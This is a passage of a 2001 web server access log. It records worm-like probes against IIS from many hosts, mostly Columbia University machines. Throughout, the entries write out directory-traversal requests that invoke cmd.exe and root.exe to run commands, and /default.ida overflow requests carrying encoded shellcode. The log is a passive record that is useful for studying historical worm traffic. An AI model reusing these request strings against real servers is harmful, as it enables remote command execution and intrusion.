/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:34:02: [203.236.98.249] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:34:21: [203.236.98.249] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:34:43: [203.236.98.249] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:35:02: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 03:35:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:36:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:36:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:36:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:36:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:36:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:36:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:37:00: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:37:00: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:37:00: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:37:00: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:37:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:37:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:37:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:37:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:37:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:37:01: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 03:38:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 03:44:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 03:44:36: lds-tf.byu.edu [128.187.57.240] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:45:52: lds-tf.byu.edu [128.187.57.240] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:45:52: lds-tf.byu.edu [128.187.57.240] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:45:52: lds-tf.byu.edu [128.187.57.240] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:45:52: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:45:52: lds-tf.byu.edu [128.187.57.240] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:45:52: lds-tf.byu.edu [128.187.57.240] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:45:53: lds-tf.byu.edu [128.187.57.240] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:45:53: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:45:53: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:45:53: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:45:53: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:45:54: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:45:54: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:45:54: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:45:54: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:45:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:47:04: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:47:04: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 03:48:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:49:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:49:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:49:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:49:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:49:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:49:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:49:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:49:13: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 03:49:49: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:50:04: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:50:04: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:50:04: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:50:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:50:04: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:50:04: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:50:04: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:50:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:50:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:50:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:50:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:50:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:50:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:50:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:50:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:50:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:52:35: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:52:35: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:52:35: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:52:35: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:52:36: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:54:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:54:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:54:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 03:56:08: [128.134.25.174] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 03:57:59: [128.134.25.174] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 03:58:21: [128.134.25.174] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:58:43: [128.134.25.174] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:59:21: [128.134.25.174] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 03:59:40: [128.134.25.174] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:02: [128.134.25.174] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:00:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:00:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:31: [128.134.25.174] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:00:50: [128.134.25.174] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:01:08: [128.134.25.174] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:01:27: [128.134.25.174] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:01:45: [128.134.25.174] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:02:04: [128.134.25.174] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:02:23: [128.134.25.174] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:02:42: [128.134.25.174] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:03:00: [128.134.25.174] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:03:19: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:07:39: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:07:39: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:07:39: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:07:39: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:07:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 04:08:03: ns.kcci.or.kr [210.124.8.13] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:11:05: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 04:13:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 04:13:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:13:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:13:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:13:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:13:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 04:13:09: themelis2.hksm.columbia.edu 